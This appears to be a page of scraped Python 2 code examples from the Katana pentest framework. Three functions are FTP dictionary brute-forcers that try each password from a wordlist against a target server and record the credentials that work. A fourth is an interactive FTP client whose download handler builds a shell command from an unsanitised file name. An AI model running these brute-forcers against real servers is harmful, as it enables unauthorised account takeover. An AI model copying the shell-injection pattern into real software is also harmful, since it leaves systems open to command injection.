def main(run):
    try:
        # HEAD MODULE
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionShowOptions(actions):
            getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionSetValue(actions):
            initialize.DEFAULT_VARIABLE = getFunction.UpdateValue(
                actions, initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionisBack(actions):
            return
            # END HEAD MODULE
        elif getFunction.runModule(actions):
            Message.run()
            # CODE MODULE    ############################################################################################
            try:
                ftp = FTP(initialize.DEFAULT_VARIABLE[0][0])
                if True:
                    try:
                        Message.loading_file()
                        with open(initialize.DEFAULT_VARIABLE[3][0],
                                  'r') as passwords:
                            for password in passwords:
                                password = password.replace("\n", "")
                                try:
                                    ftp.login(
                                        initialize.DEFAULT_VARIABLE[2][0],
                                        password)
                                    if True:
                                        getFunction.save(
                                            "BruteForceFTP",
                                            initialize.DEFAULT_VARIABLE[0][0],
                                            initialize.DEFAULT_VARIABLE[1][0],
                                            initialize.DEFAULT_VARIABLE[2][0],
                                            password)
                                        Message.Success(
                                            initialize.DEFAULT_VARIABLE[2][0],
                                            password)
                                        break
                                except:
                                    print " " + Alr + " Checking (" + initialize.DEFAULT_VARIABLE[
                                        2][0] + "=" + password + ")"
                    except:
                        Errors.Errors(event=sys.exc_info(),
                                      info=initialize.DEFAULT_VARIABLE[3][0])
            except:
                Errors.Errors(event=sys.exc_info(),
                              info=initialize.DEFAULT_VARIABLE[0][0] + ":" +
                              initialize.DEFAULT_VARIABLE[1][0])
            # END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    # ERROR GENERAL
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    # END ERROR GENERAL
    main(True)
예제 #2
0
def btftp(run):
    try:
        global defaulthost, defaultport, defaultuser, defaultdicc
        if run != 1:
            actions = raw_input(d.prompt("bt/ftp"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP or DNS", defaulthost)
            d.descrip("port", "no", "Port of target", defaultport)
            d.descrip("user", "yes", "Username", defaultuser)
            d.descrip("dict_1", "yes", "Dictionary pass", defaultdicc)
            d.space()
            btftp(0)
        elif actions[0:10] == "set target":
            defaulthost = defaulthost.replace("http://", "")
            defaulthost = ping.update(defaulthost, actions, "target")
            d.change("target", defaulthost)
        elif actions[0:8] == "set port":
            defaultport = ping.update(defaultport, actions, "port")
            d.change("port", defaultport)
        elif actions[0:8] == "set user":
            defaultuser = ping.update(defaultuser, actions, "user")
            d.change("user", defaultuser)
        elif actions[0:10] == "set dict_1":
            defaultdicc = ping.update(defaultdicc, actions, "dict_1")
            d.change("dict_1", defaultdicc)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                ftp = FTP(defaulthost)
                if True:
                    try:
                        d.loading_file()
                        try:
                            with open(defaultdicc, 'r') as passs:
                                for ps in passs:
                                    ps = ps.replace("\n", "")
                                    try:
                                        ftp.login(defaultuser, ps)
                                        if True:
                                            ping.save("BruteForceFTP",
                                                      defaulthost, defaultport,
                                                      defaultuser, ps)
                                            d.Success(defaultuser, ps)
                                            return 1
                                    except:
                                        print " " + Alr + " Checking (" + defaultuser + "=" + ps + ")"
                        except:
                            Errors.Errors(event=sys.exc_info()[0],
                                          info=defaultdicc)
                    except:
                        Errors.Errors(event=sys.exc_info()[0], info=False)
            except:
                Errors.Errors(event=sys.exc_info()[0],
                              info=defaulthost + ":" + defaultport)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info()[0], info=False)
    btftp(0)
예제 #3
0
def btftp(run):
    try:
        global defaulthost, defaultport, defaultuser, defaultdicc
        if run != 1:
            actions = raw_input(d.prompt("bt/ftp"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP or DNS", defaulthost)
            d.descrip("port", "no", "Port of target", defaultport)
            d.descrip("user", "yes", "Username", defaultuser)
            d.descrip("dict_1", "yes", "Dictionary pass", defaultdicc)
            print ""
            btftp(0)
        elif actions[0:10] == "set target":
            defaulthost = actions[11:]
            defaulthost = defaulthost.replace("http://", "")
            d.change("target", defaulthost)
            btftp(0)
        elif actions[0:8] == "set port":
            defaultport = actions[9:]
            d.change("port", defaultport)
            btftp(0)
        elif actions[0:8] == "set user":
            defaultuser = actions[9:]
            d.change("user", defaultuser)
            btftp(0)
        elif actions[0:10] == "set dict_1":
            defaultdicc = actions[11:]
            d.change("dict_1", defaultdicc)
            btftp(0)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                ftp = FTP(defaulthost)
                if True:
                    try:
                        d.loading()
                        try:
                            with open(defaultdicc, 'r') as passs:
                                for ps in passs:
                                    ps = ps.replace("\n", "")
                                    try:
                                        ftp.login(defaultuser, ps)
                                        if True:
                                            ping.save("BruteForceFTP",
                                                      defaulthost, defaultport,
                                                      defaultuser, ps)
                                            print "\n-" + Suf + " Successfully with (" + defaultuser + "=" + ps + ")\n"
                                            return 1
                                    except:
                                        print " " + Alr + " Checking (" + defaultuser + "=" + ps + ")"
                        except:
                            d.filenot(defaultdicc)
                            btpop3(0)
                    except:
                        d.kbi()
            except:
                d.off()
        else:
            d.nocommand()
    except:
        d.kbi()
        exit()
    btftp(0)
예제 #4
0
def cftp(run):
    try:
        global defaulthost, defaultport, defaultuser, defaultpass
        if run != 1:
            actions = raw_input(d.prompt("clt/ftp"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP or DNS", defaulthost)
            d.descrip("port", "no", "Port of target", defaultport)
            d.descrip("user", "yes", "Username", defaultuser)
            d.descrip("pass", "yes", "Password", defaultpass)
            print ""
            cftp(0)
        elif actions[0:10] == "set target":
            defaulthost = actions[11:]
            defaulthost = defaulthost.replace("http://", "")
            d.change("target", defaulthost)
            cftp(0)
        elif actions[0:8] == "set port":
            defaultport = actions[9:]
            d.change("port", defaultport)
            cftp(0)
        elif actions[0:8] == "set user":
            defaultuser = actions[9:]
            d.change("user", defaultuser)
            cftp(0)
        elif actions[0:8] == "set pass":
            defaultpass = actions[9:]
            d.change("pass", defaultpass)
            cftp(0)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                ftp = FTP(defaulthost)
                if True:
                    try:
                        ftp.login(defaultuser, defaultpass)
                        if True:
                            try:
                                cmd = "nop"
                                patch = ""
                                print "\n " + Hlp + " FTP Client help\n"
                                print "  ----------------------------------------"
                                print "  |" + colors[6] + "Commd" + colors[
                                    0] + "| " + colors[
                                        6] + "Description" + colors[
                                            0] + " | " + colors[
                                                6] + "Examples" + colors[
                                                    0] + "         |"
                                print "  ----------------------------------------"
                                print "  |ls	| list files  | ls               |"
                                print "  |cd	| change dir  | cd css           |"
                                print "  |mk	| create dir  | mk images        |"
                                print "  |rm	| remove file | remove config.js | "
                                print "  |rmd  | remove dir  | remove sex       |"
                                print "  |get  | get file    | get index.php    |"
                                print "  |put  | up file     | put login.php    |"
                                print "  ----------------------------------------"
                                print ""
                                while (cmd != "exit"):
                                    cmd = raw_input(colors[1] + " CLT~" +
                                                    colors[3] + "ftp/" +
                                                    patch + "> " + colors[0])
                                    if cmd == "ls":
                                        ftp.retrlines("LIST")
                                    if cmd[0:2] == "cd":
                                        try:
                                            ftp.cwd(cmd[3:])
                                            if True:
                                                patch = cmd[3:]
                                                if patch == "..":
                                                    patch = ""
                                        except:
                                            print " [" + colors[1] + "-" + colors[
                                                0] + "] Error: directory wrong."
                                    if cmd[0:3] == "get":
                                        lfile = cmd[4:].replace("\n", "")
                                        try:
                                            ftp.retrbinary(
                                                'RETR ' + lfile,
                                                open(lfile, 'wb').write)
                                            if True:
                                                subprocess.Popen(
                                                    "cp " + lfile +
                                                    " /root/Desktop/;rm " +
                                                    lfile + "",
                                                    stdout=subprocess.PIPE,
                                                    stderr=subprocess.PIPE,
                                                    shell=True).wait()
                                                print " [" + colors[1] + "-" + colors[
                                                    0] + "] Saved, /root/Desktop/" + lfile
                                        except:
                                            print " [" + colors[1] + "-" + colors[
                                                0] + "] Error: file not found."
                                    if cmd[0:3] == "put":
                                        lfile = cmd[4:].replace("\n", "")
                                        w = open(lfile, 'rb')
                                        try:
                                            ftp.storbinary("STOR r.r", w)
                                        except:
                                            print " [" + colors[
                                                1] + "-" + colors[
                                                    0] + "] Error: file wrong."
                                    if cmd[0:2] == "rm":
                                        try:
                                            ftp.delete(cmd[3:])
                                        except:
                                            print " [" + colors[1] + "-" + colors[
                                                0] + "] Error: file not found."
                                    if cmd[0:3] == "rmd":
                                        pat = cmd[4:].replace("\n", "")
                                        ftp.rmd(pat)
                                    if cmd[0:2] == "mk":
                                        try:
                                            ftp.mkd(cmd[3:])
                                        except:
                                            print " [" + colors[1] + "-" + colors[
                                                0] + "] Error: directory wrong."

                            except (KeyboardInterrupt):
                                d.kbi()
                            except Exception, e:
                                print(
                                    " [" + colors[1] + "-" + colors[0] +
                                    "] Timeout.", e)
                    except:
                        d.nomatch()
            except:
                d.off()
        else:
            d.nocommand()
    except:
        d.kbi()
        exit()
    cftp(0)